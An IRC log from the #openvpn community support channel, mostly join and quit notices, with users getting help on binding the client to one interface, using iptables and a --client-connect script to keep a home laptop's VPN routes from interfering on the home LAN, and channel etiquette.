15:50 -!- Rough_ [eMc2@114.31.8.194] has quit [Ping timeout: 245 seconds]
15:51 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:01 -!- krphop_ is now known as krphop
16:05 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-jwvwhuuvningrgva] has quit [Remote host closed the connection]
16:05 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-wubrdangrskrivay] has quit [Remote host closed the connection]
16:05 -!- lmm [uid6417@gateway/web/irccloud.com/x-jbjiakelitrhoejp] has quit [Remote host closed the connection]
16:05 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-yzqmsjdgbqggwoyb] has quit [Remote host closed the connection]
16:05 -!- paccer [uid4847@gateway/web/irccloud.com/x-hpjsylhuzdlmuipv] has quit [Remote host closed the connection]
16:18 < jzaw> finally my Polish ip has a proper rDNS
16:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
16:31 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-muoejhdjevuqroxv] has joined #openvpn
16:35 -!- paccer [uid4847@gateway/web/irccloud.com/x-okumqxoolmvmvuei] has joined #openvpn
16:36 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has joined #openvpn
16:38 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:40 -!- lmm [uid6417@gateway/web/irccloud.com/x-omxjuroryrjshwst] has joined #openvpn
16:41 -!- abec0_ is now known as abec0
16:43 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-qfjpeinegovimjjd] has joined #openvpn
16:52 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nosvvzndapuuiitc] has joined #openvpn
17:07 -!- MorkBork [~mark@unaffiliated/morkbork] has quit [Quit: ZNC - http://znc.in]
17:08 -!- MorkBork [~mark@unaffiliated/morkbork] has joined #openvpn
17:24 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has quit [Quit: Computer has gone to sleep.]
17:28 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:31 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:32 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has left #openvpn []
17:35 -!- mz|`_ [~emerick@shyan.mz23.in] has joined #openvpn
17:35 < mz|`_> hey guys
17:36 < mz|`_> i want to run openvpn (client side) on a specific network interface (eth1 instead of eth0), is it possible ?
17:36 < mz|`_> should I look for a specific route ?
17:37 < rob0> see --local in the man page, also
17:37 < rob0> !goal
17:37 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:37 < mz|`_> oh
17:38 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:38 < mz|`_> but it is related to the server side, I suppose ?
17:43 < rob0> I think --local can be client, server or p2p.
17:43 < mz|`_> oh
17:43 < mz|`_>        --local host
17:44 < mz|`_> i need to 1/ add host to /etc/hosts 2/ configure my client to use specific "host" 3/ run ?
17:44 < mz|`_> i'll test anyway
17:44 < mz|`_> thx rob0
17:44 < rob0> "host" can be a name to resolve or an IP address
17:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:51 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has joined #openvpn
17:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
18:05 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has quit [Quit: Computer has gone to sleep.]
18:14 -!- mirco [~mirco@p5080219C.dip.t-dialin.net] has joined #openvpn
18:15 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has joined #openvpn
18:19 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 256 seconds]
18:21 -!- eres [~rs@onyon.net] has quit [Ping timeout: 256 seconds]
18:22 -!- laner [~Lane@pool-71-190-65-47.nycmny.east.verizon.net] has quit [Ping timeout: 252 seconds]
18:23 -!- eres [~rs@onyon.net] has joined #openvpn
18:25 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:25 -!- mete [~mete@mete.shell.la] has joined #openvpn
18:26 -!- laner [~Lane@pool-71-190-67-11.nycmny.east.verizon.net] has joined #openvpn
18:28 -!- laner [~Lane@pool-71-190-67-11.nycmny.east.verizon.net] has quit [Client Quit]
18:30 -!- laner [~Lane@pool-71-190-67-11.nycmny.east.verizon.net] has joined #openvpn
18:38 -!- laner [~Lane@pool-71-190-67-11.nycmny.east.verizon.net] has quit [Quit: Computer has gone to sleep.]
18:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
18:57 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has joined #openvpn
19:00 -!- mirco [~mirco@p5080219C.dip.t-dialin.net] has quit [Quit: mirco]
19:23 -!- folivora_ [~out@46.19.34.64] has quit [Read error: Connection reset by peer]
19:23 -!- folivora [~out@46.19.34.64] has joined #openvpn
19:26 -!- hazardous [~dbn@void.kassad.in] has quit [Ping timeout: 264 seconds]
19:27 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
19:30 -!- Sidze- [~Sid@ppp-seco11pa2-46-193-129.71.wb.wifirst.net] has quit [Read error: Connection reset by peer]
19:40 -!- raidz is now known as raidz_away
20:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:10 -!- mode/#openvpn [+o krzee] by ChanServ
20:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:22 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Quit: JStoker is gone :(]
20:29 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:30 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
20:36 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
20:40 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
20:43 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 240 seconds]
20:48 -!- JStoker [jstoker@claire.jcs.me.uk] has joined #openvpn
20:48 -!- JStoker is now known as Guest23108
20:55 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
20:55 -!- mode/#openvpn [+o krzie] by ChanServ
21:00 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
21:00 -!- krzie is now known as krzee
21:01 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
21:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:03 -!- Guest23108 [jstoker@claire.jcs.me.uk] has quit [Changing host]
21:03 -!- Guest23108 [jstoker@unaffiliated/jstoker] has joined #openvpn
21:05 -!- TMcTrain [~kvirc@pD9FD4534.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
21:09 -!- Guest23108 [jstoker@unaffiliated/jstoker] has left #openvpn []
21:30 -!- nlopez [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
21:32 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
21:32 -!- nlopez [~quassel@198.211.102.196] has joined #openvpn
21:33 < roothorick> Is there a way to make OpenVPN detect if the computer (client) is on a network with such-and-such IP range and disable itself?
21:33 < roothorick> Windows (Win7 & 8) clients, mind you
21:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
21:43 < Poster> are you referring to a client's local address?
21:43 < Poster> internal to a remote network?
21:44 < roothorick> basically... two laptops that are sometimes home, and sometimes not home
21:44 < roothorick> and the VPN connection stuffs things up when they're home
21:44 < roothorick> so I need the VPN to shut itself off temporarily while the machines are home
21:46 < Poster> so you never want the VPN clients to connect while they are home?
21:46 < roothorick> yeah
21:46 < roothorick> it just occurred to me I could use the firewall on the server to do that
21:46 < Poster> well couple options
21:46 < Poster> yeah that's one
21:46 < Poster> if you have control of the router at the home, you could put a bogus DNS record for the VPN server
21:46 < roothorick> but then the clients will be flooding their logs with connection timeouts
21:46 < roothorick> well... problem. the VPN server is the everything-else server too
21:47 < Poster> do you use the same address for VPN as other services?
21:47 < Poster> you can bogus route a specific host
21:47 < Poster> allow www.foo.com, block vpn.foo.com
21:47 < roothorick> the VPN server, and the router, and the Samba share server, and the seedbox... all the same physical machine
21:47 < Poster> or block outbound on the port used for VPN
21:47 < Poster> wait the VPN server is at home?
21:48 < roothorick> yes
21:48 < Poster> oh, heh ok that's not too difficult then
21:48 < Poster> what OS is the server?
21:48 < roothorick> Debian 6
21:48 < Poster> ok are you running UDP or TCP for your OpenVPN link?
21:48 < roothorick> UDP
21:48 < Poster> something like
21:48 < roothorick> I've gotten lucky doing UDP over 53 so far
21:49 < roothorick> and 80 sometimes, so many dumb firewalls that whitelist ports without regard for UDP/TCP
21:49 < Poster> sudo /sbin/iptables -t nat -A PREROUTING -i $INTERNAL_INTERFACE -p udp --dport 53 -j REDIRECT --to 65000
21:50 < Poster> or some other port
21:50 < Poster> actually no don't do that
21:50 < Poster> try this instead
21:50 < Poster> sudo /sbin/iptables -t nat -A PREROUTING -i $INTERNAL_INTERFACE -d $INTERNAL_ADDRESS -p udp --dport 53 -j REDIRECT --to 65000
21:50 < Poster> 1st rule would break all outbound DNS
21:50 < Poster> well no that wouldn't work either
21:50 < Poster> is your public address static?
21:51 < roothorick> no, I use a dynamic DNS service to phone home
21:52 < Poster> ok you might have to put something together to figure out your public IP
21:52 < Poster> something like
21:52 < Poster> ifconfig eth0 | grep inet | awk '{print $2}' | awk -F ':' '{print $2}'
21:53 < Poster> if you apply your iptables rules via a script of some type, you could to
21:53 < Poster> EXTERNAL_ADDRESS=$(ifconfig eth0 | grep inet | awk '{print $2}' | awk -F ':' '{print $2}')
21:53 < Poster> then it will read it on each execution
21:54 < Poster> you'd probably want to fire it off via a cron job
21:54 < Poster> I don't know how frequently your address changes
21:54 < roothorick> I thought... that routed packets don't hit the FILTER tables
21:54 < roothorick> FILTER is only for traffic going to/from the local machine right?
21:54 < Poster> PREROUTING is in the nat table
21:54 < Poster> not filter
21:55 < Poster> the -t nat <- nat table
21:55 < roothorick> couldn't I just do -p dup --dport 53 -j DROP in the filter table?
21:55 < Poster> last time I tried to -j DROP via -t nat -A PREROUTING netfilter yelled at me
21:55 < Poster> =[
21:57 < Poster> the warning was something along the lines of the nat table is not intended to filter
21:57 < Poster> though YMMV
21:58 < Poster> I've not used Debian in awhile
21:59 < Poster> it may be ok, I used to use it to pick off invalid flags long ago
22:01 < Poster> do you run internal DNS services on your server?
22:01 < roothorick> no
22:01 < Poster> ok the redirect or drop option might be best
22:02 < Poster> the redirect will send it to a presumably closed port
22:02 < Poster> if you don't have filtering on, the host should return an ICMP port unreachable
23:01 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
23:21 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
23:23 -!- edwardly [~edwardly@cpe-72-190-113-138.tx.res.rr.com] has quit [Quit: ZNC - http://znc.in]
23:28 -!- MeanderingCode_ [~Meanderin@71-213-183-157.albq.qwest.net] has quit [Quit: to be elsewhere.]
23:40 < roothorick> Poster: none of that is actually going to work... even after my laptop had no internet at all for an hour + the client was still leaving the interface up and routes in which is what causes the problem in the first place...
23:43 < pekster> roothorick: You want what, your VPN server located somewhere (some "site") to reject connections from systems also coming from that same site?
23:43 < roothorick> pekster: I want the VPN client to shut down the interface when the system is physically present on the network
23:44 < roothorick> wait.... persist-tun
23:44 < roothorick> DUH
23:45 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
23:45 < pekster> huh? That directive keeps the VPN tunnel active across restarts, such as HUP and USR1 restarts. It has nothing to do with client location detection
23:46 < roothorick> it also keeps the TUN interface up from the moment the currently running daemon associates with the server for the first time, even if it loses connection and doesn't hear from the server for HOURS
23:46 < roothorick> right?
23:46 < roothorick> which is exactly what I DON'T want to happen. I want the TUN interface to go down when the VPN isn't there.
23:47 < roothorick> that's probably the source of my issues with windows flagging the interface weird even with the workarounds
23:47 < roothorick> as well
23:47 < pekster> Sure, except that won't work when you're using --ping-restart
23:47 < roothorick> why not? wouldn't it just reinitialize the interface over again?
23:47 < pekster> Nope, not with "just" --persist-tun
23:47 < pekster> What's your end-goal? You've described the step you want. What's the purpose?
23:48 < roothorick> there's more than one machine, but let's talk about just one machine for sake of brevity
23:48 < roothorick> I have my laptop, it connects to my server with VPN. It connects to the network through the VPN via a custom gateway route
23:48 < roothorick> but when it's actually at home, the VPN routes interfere with it actually connecting to, well, anything
23:49 < roothorick> my current plan of attack is a) disable persist-tun and b) have the server block connections from LAN
23:49 < roothorick> Windows is smart enough that it'll automatically discard the route if the interface is no longer up, I know that much
23:50 < pekster> It'll also go into an endless reconnect cycle, but if you don't mind that, I suppose it'll meet your needs
23:50 < roothorick> you have a better solution?
23:52 < pekster> How about having the server only push your "custom gateway route" when the source IP of the connection is not the internal network?
23:52 < roothorick> the custom route comes directly from OpenVPN, is it smart enough to do such a thing?
23:53 < pekster> Yes. Reference --client-connect for the openvpn-provide script hook, and then see the manpage section titled "SCRIPTING AND ENVIRONMENTAL VARIABLES" to see all the connection-specific vars passed in to that script.
23:53 < roothorick> literally: push "route 172.24.0.0 255.255.255.0 vpn_gateway 100"
23:53 < roothorick> in openvpn.conf
23:54 < roothorick> what? those scripts can add/remove config file directives on the fly?
23:55 < pekster> So write a shell script (or whatever, it could be a java program run through JRE for all it matters) called from --client-connect that only sends that output to the client context when the connecting IP is not sourced from your LAN
23:55 < pekster> Then it won't matter if the client reconnects from the location; it won't get the route when it reconnects
23:55 < pekster> (ie: due to --ping-restart)
23:56 < roothorick> hmm. Something to look at.
23:58 -!- brute11k [~brute@89.249.235.65] has joined #openvpn
--- Day changed Thu Mar 28 2013
00:18 -!- Rough_ [eMc2@114.31.8.194] has quit [Ping timeout: 246 seconds]
00:19 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
00:19 -!- Rough_ [eMc2@114.31.8.194] has quit [Read error: Connection reset by peer]
00:20 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
00:28 -!- Rough_ [eMc2@114.31.8.194] has quit [Read error: Connection reset by peer]
00:29 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
00:41 -!- newbie|4 [~tjz@bb119-74-170-227.singnet.com.sg] has quit [Ping timeout: 240 seconds]
00:57 -!- brute11k [~brute@89.249.235.65] has quit [Ping timeout: 240 seconds]
01:00 -!- brute11k [~brute@89.249.235.65] has joined #openvpn
01:01 < roothorick> wtf. How does "return 0" turn into "exited with error status: 1"
01:25 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
01:29 -!- Rough_ [eMc2@114.31.8.194] has quit [Read error: Connection reset by peer]
01:30 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
01:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC - http://znc.in]
01:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
01:32 -!- mode/#openvpn [+o krzee] by ChanServ
01:37 -!- [fred] [fred@konfuzi.us] has joined #openvpn
02:08 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
02:16 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
02:18 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
02:22 -!- Rough_ [eMc2@114.31.8.194] has quit [Ping timeout: 246 seconds]
02:28 -!- brute11k [~brute@89.249.235.65] has quit [Ping timeout: 245 seconds]
02:28 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
02:33 -!- Rough_ [eMc2@114.31.8.194] has quit [Ping timeout: 245 seconds]
02:41 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Read error: Connection reset by peer]
02:49 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Connection reset by peer]
02:52 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has quit [Ping timeout: 245 seconds]
03:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
03:04 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
03:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
03:24 < nutcase> so no matter what I do I cant get the tun driver to install and work in windows 7
03:24 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:46 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 258 seconds]
03:46 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:55 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 276 seconds]
03:57 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 258 seconds]
03:58 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 252 seconds]
04:05 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
04:12 -!- ade_b [~Ade@koln-5d81726f.pool.mediaWays.net] has joined #openvpn
04:12 -!- ade_b [~Ade@koln-5d81726f.pool.mediaWays.net] has quit [Changing host]
04:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:21 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
04:22 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:22 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Client Quit]
04:25 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
04:26 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
04:28 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:34 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
04:34 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:41 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 272 seconds]
05:15 -!- JSharpe__ [~JSharpe@46.165.210.17] has joined #openvpn
05:19 -!- JSharpe_ [~JSharpe@46.165.210.17] has quit [Ping timeout: 245 seconds]
05:34 -!- mz|`_ [~emerick@shyan.mz23.in] has quit [Changing host]
05:34 -!- mz|`_ [~emerick@unaffiliated/mz/x-5510238] has joined #openvpn
05:37 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:38 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nosvvzndapuuiitc] has quit [Ping timeout: 246 seconds]
06:03 -!- master_of_master [~master_of@p4FF2468E.dip.t-dialin.net] has joined #openvpn
06:06 -!- master_o1_master [~master_of@p4FF24F6A.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
06:23 -!- njbair_ [~njbair@user-12l369d.cable.mindspring.com] has quit [Ping timeout: 260 seconds]
06:23 -!- kjs [kjs@fedora/kjs] has quit [Ping timeout: 260 seconds]
06:23 -!- lbft [~lbft@199.195.249.177] has quit [Ping timeout: 255 seconds]
06:23 -!- Perun [perun@chao5.net] has quit [Ping timeout: 260 seconds]
06:23 -!- meepmeep [meepmeep@212.24.104.229] has quit [Ping timeout: 260 seconds]
06:23 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 260 seconds]
06:23 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 255 seconds]
06:23 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 255 seconds]
06:23 -!- sitaktif1 [~sitaktif@kollok.org] has quit [Ping timeout: 255 seconds]
06:23 -!- pulz_ [geir@winning.no] has quit [Ping timeout: 255 seconds]
06:23 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 255 seconds]
06:23 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 255 seconds]
06:23 -!- rheddry [~levifig@spwn.co] has quit [Ping timeout: 260 seconds]
06:23 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
06:23 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has joined #openvpn
06:23 -!- kjs [kjs@uberpussy.net] has joined #openvpn
06:23 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
06:23 -!- pulz [geir@winning.no] has joined #openvpn
06:23 -!- levifig [~levifig@spwn.co] has joined #openvpn
06:23 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
06:23 -!- Perun [perun@chao5.net] has joined #openvpn
06:24 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
06:24 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
06:24 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Read error: Connection reset by peer]
06:24 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
06:24 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
06:24 -!- meepmeep_ [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
06:24 -!- njbair [~njbair@user-12l369d.cable.mindspring.com] has joined #openvpn
06:24 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
06:26 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:28 -!- mz|` [~emerick@unaffiliated/mz/x-5510238] has joined #openvpn
06:28 -!- Netsplit *.net <-> *.split quits: feth, uberushaximus, mz|`_, @plaisthos, Rienzilha, nlopez, NChief, ChauffeR, jgeboski, lickalott,  (+4 more, use /NETSPLIT to show all of them)
06:28 -!- jgeboski- is now known as jgeboski
06:31 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
06:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-tyxibxesfaawsxwh] has quit [Disconnected by services]
06:31 -!- Netsplit over, joins: @plaisthos, nlopez, JackSparrow, NChief, uberushaximus, ngharo, lickalott, feth, Rienzilha, ele_ (+2 more)
06:32 -!- kirin`_ [telex@gateway/shell/anapnea.net/x-cgbogfjhodefxtzc] has joined #openvpn
06:41 -!- kirin`_ [telex@gateway/shell/anapnea.net/x-cgbogfjhodefxtzc] has quit [Ping timeout: 245 seconds]
06:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-hrgovsyoiboiglxo] has joined #openvpn
06:46 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
06:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-hrgovsyoiboiglxo] has quit [Read error: Connection reset by peer]
06:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-iqkqosqqzbfjowru] has joined #openvpn
07:14 -!- brute11k [~brute@89.249.235.218] has joined #openvpn
07:20 -!- kjs [kjs@uberpussy.net] has quit [Changing host]
07:20 -!- kjs [kjs@fedora/kjs] has joined #openvpn
07:36 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-kpstwmmzuipdkscl] has joined #openvpn
07:51 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:19 <@EugeneKay> It works perfectly fine for me and millions of other people.
08:19 <@EugeneKay> Uninstall whatever it is you've installed and try from scratch, using the correct installer
08:19 <@EugeneKay> !download
08:19 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
08:19 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
08:22 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
08:26 -!- mattock is now known as mattock_afk
08:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:54 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
08:54 -!- mete [~mete@mete.shell.la] has joined #openvpn
08:54 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:54 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:54 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
09:12 <@ecrist> EugeneKay: who are you talking to?
09:12 <@EugeneKay> nutcase
09:12 <@ecrist> hrm, must be /ig
09:12 <@EugeneKay> I figured as muh.
09:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:49 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:49 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
09:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
09:52 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:07 <@krzee> I'm finally bouncing
10:07 <@krzee> sorry about my constantly terrible internet connection for the past few years
10:07 <@krzee> :D
10:10 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
10:13 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
10:16 -!- raidz_away is now known as raidz
10:17 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
10:25 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
10:30 <@ecrist> about damned time, krzee
10:30 <@ecrist> where are you bouncing from?
10:31 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:39 -!- vraa__ [~speed_rac@h74.166.30.71.dynamic.ip.windstream.net] has joined #openvpn
10:42 <@krzee> xxx
10:43 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
10:43 <@ecrist> good choice
10:43 <@krzee> the bouncer your friend uses ended up being nice, I'm liking it
10:43 -!- keldwud [~smuxi@209.63.136.134] has joined #openvpn
10:44 < keldwud> is there a link to channel guidelines anywhere? and is this officially run by openvpn? or just a channel where people discuss openvpn?
10:44 < keldwud> also, hello
10:46 < MacGyver> !welcome
10:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:46 < MacGyver> It's community support, I guess that's as official as it gets on IRC.
10:46 <@plaisthos> !as
10:46 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:47 < keldwud> thank you, MacGyver :)
10:54 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
10:55 <@krzee> !rules
10:55 <@vpnHelper> "rules" is http://secure-computing.net/openvpn/openvpn.php for channel guildelines.
10:55 <@krzee> keldwud, there ya go =]
10:55 < keldwud> krzee, thank you kind sir :)
10:55 <@krzee> no problem
10:55 <@krzee> on freenode you know if a channel is official by how many # in the name
10:56 <@krzee> # = official, ## = unofficial
10:56 <@krzee> we were ##openvpn once upon a time, until openvpn technologies came to IRC , then we became #openvpn
10:57 <@krzee> but we're still just a channel where people discuss openvpn
10:57 < keldwud> cool
10:57 < keldwud> !route
10:57 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:57 <@vpnHelper> behind the server or client
